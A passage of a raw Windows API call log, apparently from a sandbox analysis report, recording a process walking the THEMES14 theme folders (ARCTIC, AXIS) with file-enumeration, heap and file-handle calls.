dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0240.980] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e63000, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86e63000, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x6292, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0240.980] GetLastError () returned 0x12 [0240.980] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9101c0) returned 1 [0240.980] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0240.980] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9102c8) returned 1 [0240.980] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9100b8) returned 1 [0240.980] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARCTIC", cAlternateFileName="")) returned 1 [0240.980] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.980] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0241.011] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0241.011] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0241.011] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x9116c8 [0241.011] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9116c8, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9116c8, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0241.011] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9116c8) returned 1 [0241.011] NtClose (Handle=0x1bc) returned 0x0 [0241.011] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.011] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.011] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0241.011] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9100b8 [0241.011] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.011] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9102c8 [0241.011] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0241.011] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.012] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc081900, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5146e3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdc081900, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x10fc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARCTIC.ELM", cAlternateFileName="")) returned 1 [0241.012] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.012] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.012] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.012] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.012] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.012] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9101c0 [0241.012] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0241.012] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x90e308 [0241.012] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9107f0 [0241.012] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.012] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5146e3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x201, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARCTIC.INF", cAlternateFileName="")) returned 1 [0241.012] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.012] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.012] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.012] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.012] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.012] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x90e328 [0241.012] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9108f8 [0241.012] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.012] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0xba9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0241.012] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.012] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.012] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.012] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.012] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.012] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x90e348 [0241.012] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9116e0 [0241.013] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.013] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x4d44, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0241.013] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.013] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.013] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.013] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.013] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.013] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x90e368 [0241.013] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9117e8 [0241.013] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.013] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x4d44, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0241.013] GetLastError () returned 0x12 [0241.013] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0241.013] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0241.013] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.013] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc081900, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5146e3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdc081900, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x10fc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARCTIC.ELM", cAlternateFileName="")) returned 1 [0241.013] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5146e3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x201, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARCTIC.INF", cAlternateFileName="")) returned 1 [0241.013] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0xba9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0241.013] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x4d44, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0241.013] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x4d44, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0241.013] GetLastError () returned 0x12 [0241.013] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9102c8) returned 1 [0241.013] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0241.014] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9101c0) returned 1 [0241.014] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9100b8) returned 1 [0241.014] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXIS", cAlternateFileName="")) returned 1 [0241.014] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.014] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0241.050] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0241.050] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0241.050] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x9136c8 [0241.050] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9136c8, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9136c8, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0241.051] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9136c8) returned 1 [0241.051] NtClose (Handle=0x1b0) returned 0x0 [0241.051] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.051] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.051] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0241.051] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0241.051] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0241.051] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.051] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd394600, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd394600, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x189be, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXIS.ELM", cAlternateFileName="")) returned 1 [0241.051] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0241.051] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0241.051] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0241.051] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0241.051] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0241.051] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9100b8 [0241.051] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0241.051] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x90e388 [0241.051] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9101c0 [0241.051] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0241.051] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x211, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXIS.INF", cAlternateFileName="")) returned 1 [0241.051] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0241.051] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0241.051] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0241.052] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0241.052] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0241.052] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x90e3a8 [0241.052] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9102c8 [0241.052] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0241.052] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0xb20, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0241.052] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0241.052] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0241.052] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0241.052] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0241.052] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0241.052] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x90e3c8 [0241.052] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9118f0 [0241.052] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0241.052] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x8864, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0241.052] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0241.052] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0241.052] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0241.052] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0241.052] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0241.052] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x90e3e8 [0241.052] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9119f8 [0241.052] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0241.052] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x8864, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0241.052] GetLastError () returned 0x12 [0241.052] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0241.052] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0241.053] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.053] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd394600, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd394600, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x189be, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXIS.ELM", cAlternateFileName="")) returned 1 [0241.053] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, 